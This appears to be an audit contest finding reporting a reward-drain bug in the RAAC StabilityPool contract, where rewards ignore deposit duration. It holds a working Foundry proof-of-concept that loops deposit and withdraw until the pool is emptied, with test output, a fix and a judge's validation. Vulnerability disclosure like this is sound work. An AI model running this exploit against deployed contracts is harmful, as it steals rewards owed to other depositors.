Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Critical Vulnerability in `StabilityPool` Causing Complete Reward Drain Exploit and Unfair Distribution

Summary

The StabilityPool contract contains a critical vulnerability that allows a malicious actor to drain all rewards by repeatedly depositing and withdrawing funds by calling StabilityPool::withdraw. The root cause lies in the 1:1 minting ratio of deToken to rToken and the lack of proper accounting for user deposits over time. This enables new users to claim the same rewards as long-standing users, leading to unfair reward distribution and potential fund drainage.


Vulnerability Details

  1. Root Cause:

    • The deToken is minted at a 1:1 ratio to the rToken deposited into the pool. This design flaw allows users to manipulate the system by repeatedly depositing and withdrawing funds to claim rewards disproportionately.

    • The reward calculation does not account for the duration of a user's deposit. New users can deposit and withdraw immediately, claiming the same rewards as users who have been staking for a longer period.

  2. Impact:

    • A malicious actor can drain all rewards from the pool by repeatedly depositing and withdrawing funds.

    • The system unfairly distributes rewards, as new users can claim the same rewards as long-standing users.

  3. Proof of Concept

Steps

  • Two users (user1 and user2) deposit the same amount of rToken into the StabilityPool.

  • Time passes, and rewards are accumulated in the pool.

  • user1 repeatedly deposits and withdraws funds to claim rewards disproportionately.

  • user1 drains all rewards from the pool, leaving user2 with no reward to claim.

Code

The vulnerability is demonstrated in the following Foundry test suite. Convert to foundry project using the steps highlighted here. Then in the test/ folder create a Test file named StabilityPoolTest .t.sol and paste the test into it. Make sure the imports path are correct and run the test using forge test --mt testDrainRAACRewards :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "contracts/core/pools/StabilityPool/StabilityPool.sol";
import "contracts/mocks/core/tokens/crvUSDToken.sol";
import "contracts/core/tokens/RAACToken.sol";
import "contracts/core/primitives/RAACHousePrices.sol";
import "contracts/core/tokens/RAACNFT.sol";
import "contracts/core/tokens/RToken.sol";
import "contracts/core/tokens/DEToken.sol";
import "contracts/core/minters/RAACMinter/RAACMinter.sol";
import "contracts/core/pools/LendingPool/LendingPool.sol";
contract StabilityPoolTest is Test {
StabilityPool stabilityPool;
crvUSDToken crvusd;
RAACToken raacToken;
RAACHousePrices raacHousePrices;
RAACNFT raacNFT;
RToken rToken;
DEToken dEToken;
RAACMinter raacMinter;
LendingPool lendingPool;
address owner;
address user1;
address user2;
function setUp() public {
owner = address(this);
user1 = address(0x1);
user2 = address(0x2);
vm.warp(block.timestamp + 5 days);
// Deploy tokens
crvusd = new crvUSDToken(owner);
raacToken = new RAACToken(owner, 100, 50);
rToken = new RToken("RToken", "RToken", owner, address(crvusd));
dEToken = new DEToken("DEToken", "DT", owner, address(rToken));
// Deploy price oracle and set oracle
raacHousePrices = new RAACHousePrices(owner);
raacHousePrices.setOracle(owner);
// Deploy NFT
raacNFT = new RAACNFT(address(crvusd), address(raacHousePrices), owner);
// Deploy pools
uint256 initialPrimeRate = 0.1 * 1e27;
lendingPool = new LendingPool(
address(crvusd),
address(rToken),
address(dEToken),
address(raacNFT),
address(raacHousePrices),
initialPrimeRate
);
stabilityPool = new StabilityPool(owner);
// Deploy RAAC minter
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), owner);
// Setup cross-contract references
lendingPool.setStabilityPool(address(stabilityPool));
dEToken.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(lendingPool));
rToken.transferOwnership(address(lendingPool));
dEToken.transferOwnership(address(lendingPool));
stabilityPool.initialize(
address(rToken),
address(dEToken),
address(raacToken),
address(raacMinter),
address(crvusd),
address(lendingPool)
);
// Setup permissions
raacToken.setMinter(address(raacMinter));
raacToken.manageWhitelist(address(stabilityPool), true);
// Mint initial tokens and setup approvals
uint256 initialBalance = 1000 * 1e18;
crvusd.mint(user1, initialBalance);
crvusd.mint(user2, initialBalance);
vm.prank(user1);
crvusd.approve(address(lendingPool), type(uint256).max);
vm.prank(user2);
crvusd.approve(address(lendingPool), type(uint256).max);
// Initial deposits to get rTokens
vm.prank(user1);
lendingPool.deposit(initialBalance);
vm.prank(user2);
lendingPool.deposit(initialBalance);
// Approve rTokens for StabilityPool
vm.prank(user1);
rToken.approve(address(stabilityPool), type(uint256).max);
vm.prank(user2);
rToken.approve(address(stabilityPool), type(uint256).max);
}
function testDrainRAACRewards() public {
uint256 depositAmount = 100 * 1e18;
// USER 1 deposits to stability pool
vm.prank(user1);
stabilityPool.deposit(depositAmount);
// USER 2 deposits to stability pool
vm.prank(user2);
stabilityPool.deposit(depositAmount);
// Simulate time passing
vm.warp(block.timestamp + 86400);
vm.roll(block.number + 8000);
raacMinter.tick();
console.log("Initial StabilityPool RAAC balance", raacToken.balanceOf(address(stabilityPool)));
//USER1 drains reward from stability pool
vm.startPrank(user1);
stabilityPool.withdraw(dEToken.balanceOf(user1));
while (raacToken.balanceOf(address(stabilityPool)) > 1) {
stabilityPool.deposit(depositAmount);
stabilityPool.withdraw(dEToken.balanceOf(user1));
}
vm.stopPrank();
uint256 stabilityPoolRaacTokenBalance = raacToken.balanceOf(address(stabilityPool));
uint256 user1RaacTokenBalance = raacToken.balanceOf(address(user1));
console.log("Final StabilityPool RAAC balance", stabilityPoolRaacTokenBalance);
console.log("Final USER 1 RAAC balance", user1RaacTokenBalance);
assertGt(user1RaacTokenBalance, stabilityPoolRaacTokenBalance);
assertEq(stabilityPoolRaacTokenBalance, 1);
}
}

Bash Result

╰─ forge test --mt testDrainRAACRewards -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/StabilityPoolTest.t.sol:StabilityPoolTest
[PASS] testDrainRAACRewards() (gas: 6267448)
Logs:
Initial StabilityPool RAAC balance 1111111111111111104000
Final StabilityPool RAAC balance 1
Final USER 1 RAAC balance 1111111111111111103999
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 55.96ms (49.21ms CPU time)
Ran 1 test suite in 62.49ms (55.96ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • The test shows that user1 can drain RAAC tokens from the pool by repeatedly depositing and withdrawing funds, even though he started with same balance as user2. Just 1 wei is left in the pool.


Recommendations

Implement ERC4626 Vault System:

  • Replace the current reward distribution mechanism with an ERC4626-compliant vault system. ERC4626 provides a standardized way to handle shares and rewards, ensuring fair distribution.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!